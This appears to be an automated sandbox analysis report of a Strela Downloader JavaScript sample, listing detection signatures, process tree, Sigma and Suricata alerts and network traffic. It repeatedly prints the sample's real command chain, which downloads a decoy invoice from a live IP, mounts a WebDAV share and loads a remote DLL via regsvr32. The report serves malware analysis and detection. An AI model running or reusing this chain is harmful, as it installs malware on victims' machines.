Edit tour

Windows Analysis Report
4208093227073.js

Overview

General Information

Sample name:	4208093227073.js
Analysis ID:	1589979
MD5:	ab6c49aba711358cb517c6c8c8dd3e12
SHA1:	a75d8c3ed73611aa6457240ebda57415363b8fb6
SHA256:	a7114d1f4e8d133c9d2375da00d0bfeeb69e6df576feeafc4f12d331adaa9cc0
Tags:	jsuser-cocaman
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 5800 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4208093227073.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 5668 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8805713813184.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3336 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5076 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 4856 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7244 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7444 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2104 --field-trial-handle=1740,i,3665999997121798375,9251294079657549249,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7068 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 2496 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7308 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 5800	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8805713813184.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5668, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5076, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8805713813184.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5668, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5076, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4208093227073.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4208093227073.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4208093227073.js", ProcessId: 5800, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 2496, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49731

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8805713813184.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8805713813184.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4208093227073.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5800, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8805713813184.dll, ProcessId: 5668, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8805713813184.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8805713813184.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4208093227073.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5800, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8805713813184.dll, ProcessId: 5668, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8805713813184.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8805713813184.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4208093227073.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5800, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8805713813184.dll, ProcessId: 5668, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8805713813184.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8805713813184.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4208093227073.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5800, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8805713813184.dll, ProcessId: 5668, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8805713813184.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8805713813184.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4208093227073.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5800, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8805713813184.dll, ProcessId: 5668, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4208093227073.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4208093227073.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4208093227073.js", ProcessId: 5800, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8805713813184.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5668, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5076, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7068, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 2496, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7308, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7068, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 2496, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8805713813184.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8805713813184.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4208093227073.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5800, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8805713813184.dll, ProcessId: 5668, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-13T12:47:04.407199+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.4	49730	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-13T12:47:06.836074+0100	1810005	1	Potentially Bad Traffic	192.168.2.4	49731	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-13T12:47:04.407199+0100	1810000	2	Potentially Bad Traffic	192.168.2.4	49730	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.4:49731 -> 193.143.1.205:8888
Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.4:49730 -> 193.143.1.205:80

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Mon, 13 Jan 2025 11:47:04 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: global traffic

TCP traffic: 192.168.2.4:49731 -> 193.143.1.205:8888

Source: global traffic

TCP traffic: 192.168.2.4:60322 -> 1.1.1.1:53

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

